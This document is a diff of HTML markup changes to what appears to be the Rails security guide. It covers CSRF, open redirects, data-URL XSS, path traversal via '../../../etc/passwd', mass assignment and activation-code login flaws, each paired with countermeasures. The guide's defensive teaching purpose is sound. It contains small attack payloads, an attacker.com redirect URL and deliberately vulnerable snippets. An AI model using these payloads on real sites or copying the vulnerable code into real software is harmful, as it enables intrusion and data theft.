-<div class="para"><p>There are many other possibilities, including Ajax to attack the victim in the background.
The <span style="background-color: #fffcdb;">solution to this is including a security token in non-GET requests</span> which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:</p></div>
-<div class="para"><p><tt>protect_from_forgery :secret &#8658; "123456789012345678901234567890&#8230;"</tt></p></div>
-<div class="para"><p>This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.</p></div>
-<div class="para"><p>Note that <span style="background-color: #fffcdb;">cross-site scripting (XSS) vulnerabilities bypass all CSRF protections</span>. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.</p></div>
+<span style="color: #FF0000"> return false;"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>To the harmless survey<span style="font-weight: bold"><span style="color: #0000FF">&lt;/a&gt;</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Or the attacker places the code into the onmouseover event handler of an image:</p></div>
+<div class="paragraph"><p><tt>&lt;img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /&gt;</tt></p></div>
+<div class="paragraph"><p>There are many other possibilities, including Ajax to attack the victim in the background.
The <span style="background-color: #fffcdb;">solution to this is including a security token in non-GET requests</span> which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:</p></div>
+<div class="paragraph"><p><tt>protect_from_forgery :secret =&gt; "123456789012345678901234567890..."</tt></p></div>
+<div class="paragraph"><p>This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won&#8217;t need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn&#8217;t match what was expected.</p></div>
+<div class="paragraph"><p>Note that <span style="background-color: #fffcdb;">cross-site scripting (XSS) vulnerabilities bypass all CSRF protections</span>. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.</p></div>
</div>
<h2 id="_redirection_and_files">4. Redirection and Files</h2>
<div class="sectionbody">
-<div class="para"><p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p></div>
+<div class="paragraph"><p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p></div>
<h3 id="_redirection">4.1. Redirection</h3>
-<div class="para"><p>&#8212; <em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.</em></p></div>
-<div class="para"><p>Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: <a href="http://www.example.com/site/redirect?to">http://www.example.com/site/redirect?to</a>= www.attacker.com. Here is an example of a legacy action:</p></div>
+<div class="paragraph"><p>-- <em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.</em></p></div>
+<div class="paragraph"><p>Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: <a href="http://www.example.com/site/redirect?to">http://www.example.com/site/redirect?to</a>= www.attacker.com. Here is an example of a legacy action:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -683,19 +510,18 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> legacy
redirect_to<span style="color: #990000">(</span>params<span style="color: #990000">.</span>update<span style="color: #990000">(:</span>action<span style="color: #990000">=&gt;</span><span style="color: #FF0000">'main'</span><span style="color: #990000">))</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:</p></div>
-<div class="para"><p><tt>http://www.example.com/site/legacy?param1=xy&amp;param2=23&amp;host=www.attacker.com</tt></p></div>
-<div class="para"><p>If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <span style="background-color: #fffcdb;">include only the expected parameters in a legacy action</span> (again a whitelist approach, as opposed to removing unexpected parameters). <span style="background-color: #fffcdb;">And if you redirect to an URL, check it with a whitelist or a regular expression</span>.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:</p></div>
+<div class="paragraph"><p><tt>http://www.example.com/site/legacy?param1=xy&amp;param2=23&amp;host=www.attacker.com</tt></p></div>
+<div class="paragraph"><p>If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <span style="background-color: #fffcdb;">include only the expected parameters in a legacy action</span> (again a whitelist approach, as opposed to removing unexpected parameters). <span style="background-color: #fffcdb;">And if you redirect to an URL, check it with a whitelist or a regular expression</span>.</p></div>
<h4 id="_self_contained_xss">4.1.1. Self-contained XSS</h4>
-<div class="para"><p>Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:</p></div>
-<div class="para"><p><tt>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</tt></p></div>
-<div class="para"><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, <span style="background-color: #fffcdb;">do not allow the user to supply (parts of) the URL to be redirected to</span>.</p></div>
+<div class="paragraph"><p>Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:</p></div>
+<div class="paragraph"><p><tt>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</tt></p></div>
+<div class="paragraph"><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, <span style="background-color: #fffcdb;">do not allow the user to supply (parts of) the URL to be redirected to</span>.</p></div>
<h3 id="_file_uploads">4.2. File uploads</h3>
-<div class="para"><p>&#8212; <em>Make sure file uploads don't overwrite important files, and process media files asynchronously.</em></p></div>
-<div class="para"><p>Many web applications allow users to upload files. <span style="background-color: #fffcdb;">File names, which the user may choose (partly), should always be filtered</span> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p></div>
-<div class="para"><p>When filtering user input file names, <span style="background-color: #fffcdb;">don't try to remove malicious parts</span>. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “&#8230;.//” - the result will be “../”. It is best to use a whitelist approach, which <span style="background-color: #fffcdb;">checks for the validity of a file name with a set of accepted characters</span>. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the <a href="http://github.com/technoweenie/attachment_fu/tree/master">attachment_fu plugin</a>:</p></div>
+<div class="paragraph"><p>-- <em>Make sure file uploads don&#8217;t overwrite important files, and process media files asynchronously.</em></p></div>
+<div class="paragraph"><p>Many web applications allow users to upload files. <span style="background-color: #fffcdb;">File names, which the user may choose (partly), should always be filtered</span> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p></div>
+<div class="paragraph"><p>When filtering user input file names, <span style="background-color: #fffcdb;">don&#8217;t try to remove malicious parts</span>. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which <span style="background-color: #fffcdb;">checks for the validity of a file name with a set of accepted characters</span>. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn&#8217;t a valid file name, reject it (or replace not accepted characters), but don&#8217;t remove them. Here is the file name sanitizer from the <a href="http://github.com/technoweenie/attachment_fu/tree/master">attachment_fu plugin</a>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -710,25 +536,23 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-style: italic"><span style="color: #9A1900"># or periods with underscore</span></span>
name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/[^\w\.\-]/</span><span style="color: #990000">,</span> <span style="color: #FF0000">'_'</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <span style="background-color: #fffcdb;">vulnerability to denial-of-service attacks</span>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p></div>
-<div class="para"><p>The solution to this, is best to <span style="background-color: #fffcdb;">process media files asynchronously</span>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <span style="background-color: #fffcdb;">vulnerability to denial-of-service attacks</span>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p></div>
+<div class="paragraph"><p>The solution to this, is best to <span style="background-color: #fffcdb;">process media files asynchronously</span>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p></div>
<h3 id="_executable_code_in_file_uploads">4.3. Executable code in file uploads</h3>
-<div class="para"><p>&#8212; <em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory.</em></p></div>
-<div class="para"><p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.</p></div>
-<div class="para"><p><span style="background-color: #fffcdb;">If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it</span>, store files at least one level downwards.</p></div>
+<div class="paragraph"><p>-- <em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache&#8217;s home directory.</em></p></div>
+<div class="paragraph"><p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.</p></div>
+<div class="paragraph"><p><span style="background-color: #fffcdb;">If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it</span>, store files at least one level downwards.</p></div>
<h3 id="_file_downloads">4.4. File downloads</h3>
-<div class="para"><p>&#8212; <em>Make sure users cannot download arbitrary files.</em></p></div>
-<div class="para"><p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p></div>
+<div class="paragraph"><p>-- <em>Make sure users cannot download arbitrary files.</em></p></div>
+<div class="paragraph"><p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>send_file<span style="color: #990000">(</span><span style="color: #FF0000">'/var/www/uploads/'</span> <span style="color: #990000">+</span> params<span style="color: #990000">[:</span>filename<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to <span style="background-color: #fffcdb;">check that the requested file is in the expected directory</span>:</p></div>
+<pre><tt>send_file<span style="color: #990000">(</span><span style="color: #FF0000">'/var/www/uploads/'</span> <span style="color: #990000">+</span> params<span style="color: #990000">[:</span>filename<span style="color: #990000">])</span></tt></pre></div></div>
+<div class="paragraph"><p>Simply pass a file name like “../../../etc/passwd” to download the server&#8217;s login information. A simple solution against this, is to <span style="background-color: #fffcdb;">check that the requested file is in the expected directory</span>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -738,25 +562,24 @@ http://www.gnu.org/software/src-highlite -->
filename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>basename<span style="color: #990000">,</span> <span style="color: #009900">@file</span><span style="color: #990000">.</span>public_filename<span style="color: #990000">))</span>
<span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> basename <span style="color: #990000">=!</span>
File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span>filename<span style="color: #990000">),</span> <span style="color: #FF0000">'../../../'</span><span style="color: #990000">))</span>
-send_file filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>disposition <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inline'</span>
-</tt></pre></div></div>
-<div class="para"><p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p></div>
+send_file filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>disposition <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inline'</span></tt></pre></div></div>
+<div class="paragraph"><p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p></div>
</div>
<h2 id="_intranet_and_admin_security">5. Intranet and Admin security</h2>
<div class="sectionbody">
-<div class="para"><p>&#8212; <em>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</em></p></div>
-<div class="para"><p>In 2007 there was the first tailor-made <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html">Trojan</a> which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
</p></div>
-<div class="para"><p><strong>XSS</strong> If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.</p></div>
-<div class="para"><p>Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.</p></div>
-<div class="para"><p>Refer to the Injection section for countermeasures against XSS. It is <span style="background-color: #fffcdb;">recommended to use the SafeErb plugin</span> also in an Intranet or administration interface.</p></div>
-<div class="para"><p><strong>CSRF</strong> Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.</p></div>
-<div class="para"><p>A real-world example is a <a href="http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html">router reconfiguration by CSRF</a>. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.</p></div>
-<div class="para"><p>Another example changed Google Adsense's e-mail address and password by <a href="http://www.0x000000.com/index.php?i=213&amp;bin=11010101">CSRF</a>. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
</p></div>
-<div class="para"><p>Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.</p></div>
-<div class="para"><p>For <span style="background-color: #fffcdb;">countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section</span>.</p></div>
+<div class="paragraph"><p>-- <em>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</em></p></div>
+<div class="paragraph"><p>In 2007 there was the first tailor-made <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html">Trojan</a> which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
</p></div>
+<div class="paragraph"><p><strong>XSS</strong> If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.</p></div>
+<div class="paragraph"><p>Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator&#8217;s cookie, injecting an iframe to steal the administrator&#8217;s password or installing malicious software through browser security holes to take over the administrator&#8217;s computer.</p></div>
+<div class="paragraph"><p>Refer to the Injection section for countermeasures against XSS. It is <span style="background-color: #fffcdb;">recommended to use the SafeErb plugin</span> also in an Intranet or administration interface.</p></div>
+<div class="paragraph"><p><strong>CSRF</strong> Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.</p></div>
+<div class="paragraph"><p>A real-world example is a <a href="http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html">router reconfiguration by CSRF</a>. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user&#8217;s router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker&#8217;s site. Everyone who accessed the banking site through that router saw the attacker&#8217;s fake web site and had his credentials stolen.</p></div>
+<div class="paragraph"><p>Another example changed Google Adsense&#8217;s e-mail address and password by <a href="http://www.0x000000.com/index.php?i=213&amp;bin=11010101">CSRF</a>. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
</p></div>
+<div class="paragraph"><p>Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application&#8217;s admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.</p></div>
+<div class="paragraph"><p>For <span style="background-color: #fffcdb;">countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section</span>.</p></div>
<h3 id="_additional_precautions">5.1. Additional precautions</h3>
-<div class="para"><p>The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>The common admin interface works like this: it&#8217;s located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p></div>
+<div class="ulist"><ul>
<li>
<p>
It is very important to <span style="background-color: #fffcdb;">think about the worst case</span>: What if someone really got hold of my cookie or user credentials. You could <span style="background-color: #fffcdb;">introduce roles</span> for the admin interface to limit the possibilities of the attacker. Or how about <span style="background-color: #fffcdb;">special login credentials</span> for the admin interface, other than the ones used for the public part of the application. Or a <span style="background-color: #fffcdb;">special password for very serious actions</span>?
@@ -764,7 +587,7 @@ It is very important to <span style="background-color: #fffcdb;">think about the
</li>
<li>
<p>
-Does the admin really have to access the interface from everywhere in the world? Think about <span style="background-color: #fffcdb;">limiting the login to a bunch of source IP addresses</span>. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+Does the admin really have to access the interface from everywhere in the world? Think about <span style="background-color: #fffcdb;">limiting the login to a bunch of source IP addresses</span>. Examine request.remote_ip to find out about the user&#8217;s IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
</p>
</li>
<li>
@@ -776,8 +599,8 @@ Does the admin really have to access the interface from everywhere in the world?
</div>
<h2 id="_mass_assignment">6. Mass assignment</h2>
<div class="sectionbody">
-<div class="para"><p>&#8212; <em>Without any precautions Model.new(params[:model]) allows attackers to set any database column's value.</em></p></div>
-<div class="para"><p>The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:</p></div>
+<div class="paragraph"><p>-- <em>Without any precautions Model.new(params[:model]) allows attackers to set any database column&#8217;s value.</em></p></div>
+<div class="paragraph"><p>The mass-assignment feature may become a problem, as it allows an attacker to set any model&#8217;s attribute by manipulating the hash passed to a model&#8217;s new() method:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -786,40 +609,36 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> signup
params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span>
<span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Mass-assignment saves you much work, because you don&#8217;t have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model&#8217;s attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>http://www.example.com/user/signup?user[name]=ow3ned&amp;user[admin]=1</tt></pre>
</div></div>
-<div class="para"><p>This will set the following parameters in the controller:</p></div>
+<div class="paragraph"><p>This will set the following parameters in the controller:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span>
-</tt></pre></div></div>
-<div class="para"><p>So if you create a new user using mass-assignment, it may be too easy to become an administrator.</p></div>
+<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span></tt></pre></div></div>
+<div class="paragraph"><p>So if you create a new user using mass-assignment, it may be too easy to become an administrator.</p></div>
<h3 id="_countermeasures">6.1. Countermeasures</h3>
-<div class="para"><p>To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:</p></div>
+<div class="paragraph"><p>To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>attr_protected <span style="color: #990000">:</span>admin
-</tt></pre></div></div>
-<div class="para"><p>A much better way, because it follows the whitelist-principle, is the <span style="background-color: #fffcdb;">attr_accessible method</span>. It is the exact opposite of attr_protected, because <span style="background-color: #fffcdb;">it takes a list of attributes that will be accessible</span>. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:</p></div>
+<pre><tt>attr_protected <span style="color: #990000">:</span>admin</tt></pre></div></div>
+<div class="paragraph"><p>A much better way, because it follows the whitelist-principle, is the <span style="background-color: #fffcdb;">attr_accessible method</span>. It is the exact opposite of attr_protected, because <span style="background-color: #fffcdb;">it takes a list of attributes that will be accessible</span>. All other attributes will be protected. This way you won&#8217;t forget to protect attributes when adding new ones in the course of development. Here is an example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>attr_accessible <span style="color: #990000">:</span>name
-</tt></pre></div></div>
-<div class="para"><p>If you want to set a protected attribute, you will to have to assign it individually:</p></div>
+<pre><tt>attr_accessible <span style="color: #990000">:</span>name</tt></pre></div></div>
+<div class="paragraph"><p>If you want to set a protected attribute, you will to have to assign it individually:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -829,55 +648,53 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; false # not mass-assigned</span></span>
<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; true</span></span>
-</tt></pre></div></div>
+<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; true</span></span></tt></pre></div></div>
</div>
<h2 id="_user_management">7. User management</h2>
<div class="sectionbody">
-<div class="para"><p>&#8212; <em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p></div>
-<div class="para"><p>There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is <span style="background-color: #fffcdb;">restful_authentication</span> which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.</p></div>
-<div class="para"><p>Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p></div>
+<div class="paragraph"><p>-- <em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p></div>
+<div class="paragraph"><p>There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is <span style="background-color: #fffcdb;">restful_authentication</span> which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.</p></div>
+<div class="paragraph"><p>Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=</tt></pre>
</div></div>
-<div class="para"><p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p></div>
+<div class="paragraph"><p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>User<span style="color: #990000">.</span>find_by_activation_code<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-</tt></pre></div></div>
